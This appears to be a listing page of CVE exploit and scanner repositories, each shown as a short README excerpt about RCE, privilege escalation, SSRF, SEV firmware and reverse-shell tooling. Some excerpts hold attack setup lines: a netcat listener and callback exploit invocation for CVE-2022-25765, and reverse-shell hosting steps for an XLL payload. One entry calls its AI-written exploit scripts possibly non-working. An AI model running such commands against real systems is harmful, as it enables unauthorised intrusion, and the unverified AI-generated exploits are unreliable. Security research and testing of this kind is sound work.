CVE-2023-35085-POC-EXP

PS: All the scripts are achieved by Gemini 2.5 pro and CLaude 3.7. It may doesn't work well, because I don't know how to use the api "/mifs/rest/api/v2/command/exec", the same as the AIs, who pretented that they know it very well...

CVE-2022-46152

CVE-2022-46152 OP-TEE OScleanupshmrefs Out-of-Bounds Read — Reproduction Environment Reference: https://optee.readthedocs.io/en/latest/building/devices/qemu.htmlqemu-v8 Security Advisory: https://github.com/OP-TEE/opteeos/security/advisories/GHSA-65w8-6mrg-52g7 Vulnerability Overview Field| Detai...

CVE-2025-32463_chwoot

🛠️ CVE-2025-32463chwoot - Securely Handle Privileges in Linux 📋 Overview CVE-2025-32463chwoot helps you understand and deal with a specific security vulnerability related to privilege escalation in Linux systems. This tool allows users to explore and test the escalation of privilege to the root...

CVE-2023-26469-Jorani

CVE-2023-26469 Exploitation Tool Overview This is a Proof of Concept PoC exploit tool for Jorani 1.0.0, which allows attackers to achieve remote code execution through path traversal and log injection techniques. ⚠️ Warning: This tool is intended for security research and authorized testing only...

cve-2024-21978-poc

SEV Firmware Vulnerability This repo contains an exploit for a vulnerability in the SEV firmware. The exploit allows decrypting arbitrary memory of a running SEV-SNP guest. Tested on version 1.55.16 latest as of the time of writing. Root Cause The nvpaddr field of the SEVINITEX command can be use...

CVE-2023-33869-RCE-PoC

Center for Energy Security and Reliability - UNC Charlotte CVE-2023-33869 is a command injection vulnerability affecting Enphase Envoy firmware version D7.0.88. This vulnerability allows an attacker to inject and execute arbitrary commands with root privileges on the affected device. The Enphase...

CVE-2022-25765

CVE-2022-25765 Exploit A small POC exploit for CVE-2022-25765, PDFkit-CMD-Injection Usage 1. Start a netcat listener on your attack machine: nc -lvnp 4444 2. Run the exploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT Example: python cve-2022-25765.py -t...

cve-2022-33082-exploit

CVE 2022-33082 Exploit DISCLAMER This code is provided for ETHICAL purposes - understanding the vulnerability and testing one's own systems or AUTHORIZED systems. By using this, you agree to act ethically and I hold no liability if you do not act ethically. This exploit works on Open Policy Agent...

CVE-2024-7593

CVE-2024-7593 Detection How does this detection method work? This template matches on the following versions, if there is a match then the host is considered vulnerable: - "22.2" - "22.3" - "22.3R2" - "22.5R1" - "22.6R1" - "22.7R1" To prevent producing any FPs it also matches on the below: - type...

CVE-2001-0933

CVE-2001-0933 Cooolsoft PowerFTP Server 2.03 allows remote attackers to list the contents of arbitrary drives via a ls LIST command that includes the drive letter as an argument, e.g. "ls C:". Securiteam publication at http://www.securiteam.com/exploits/6D00L2A35K.html External info at...

reconswarm

ReconSwarm ReconSwarm is a modular reconnaissance automation framework designed for distributed security testing. It provisions cloud infrastructure, executes parallel reconnaissance pipelines, and collects results with minimal configuration overhead. ReconSwarm is suitable for bug bounty hunters...

vcheck

vcheck Audit a remote Linux host over SSH for the Copy Fail and Dirty Frag kernel-module vulnerabilities and, optionally, apply mitigations: CVE| Name| Affected modules ---|---|--- CVE-2026-31431| Copy Fail| algifaead CVE-2026-43284| Dirty Frag IPsec| esp4, esp6, ipcomp4, ipcomp6, xfrmuser...

CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability

CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability By Mark Mallia Containerization and the Power of Automation Containerization is the backbone of modern application delivery: it bundles an entire runtime stack into a single, immutable image that can be rolled out on any host in a cluster...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access and Identity Manager RCE via SSTI. CVE-2022-22954 - PoC SSTI Usage: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file | manual -i IP,...

SSRF-Exploit-CVE-2024-27564

SSRF-Exploit-CVE-2024-27564 Project Title This project demonstrates a Server-Side Request Forgery SSRF vulnerability in the pictureproxy.php file. Description A vulnerability in pictureproxy.php allows remote attackers to perform arbitrary requests by injecting URLs into the url parameter. This...

RSC-Scanner-POC

Next.js RSC Source Code Disclosure Scanner A security scanner for detecting CVE-2025-55183 - Next.js React Server Components RSC source code disclosure vulnerability. Description This scanner detects source code disclosure in Next.js React Server Components RSC. A malicious HTTP request sent to a...

TryHack3M-Bricks-Heist

target:10.201.6.98 enumeration nmap -A 10.201.6.98 since there is a wordpress with name "brick by brick" and the name of this room is brick it is probably where we can find vulnerability so lets enumerate wordpress wpscan --url https://bricks.thm --disable-tls-checks running with tls-checks wont...

xll_windows_reverse_shell

xllwindowsreverseshell xll windows reverse shell In your Attacker Kali machine: git clone https://github.com/n3rdh4x0r/xllwindowsreverseshell.git 1. Update the revsh.ps1 2. create python http server python3 -m http.server 9999 In your Attacker Windows machine: 1. Move notpadXLL.c to your windows...

BlueKeep

rdpscan for CVE-2019-0708 bluekeep vuln This is a quick-and-dirty scanner for the CVE-2019-0708 vulnerability in Microsoft Remote Desktop. Right now, there are about 700,000 machines on the public Internet vulnerable to this vulnerability, compared to about 2,000,000 machines that have Remote...

cve-2024-21980-poc

SEV Firmware Vulnerability This repo contains an exploit for a vulnerability in the SEV firmware. The exploit allows decrypting arbitrary memory of an SEV-SNP guest after it's been decommissioned. Tested on version 1.55.16 latest as of time of writing. Root Cause The SEV firmware has a table call...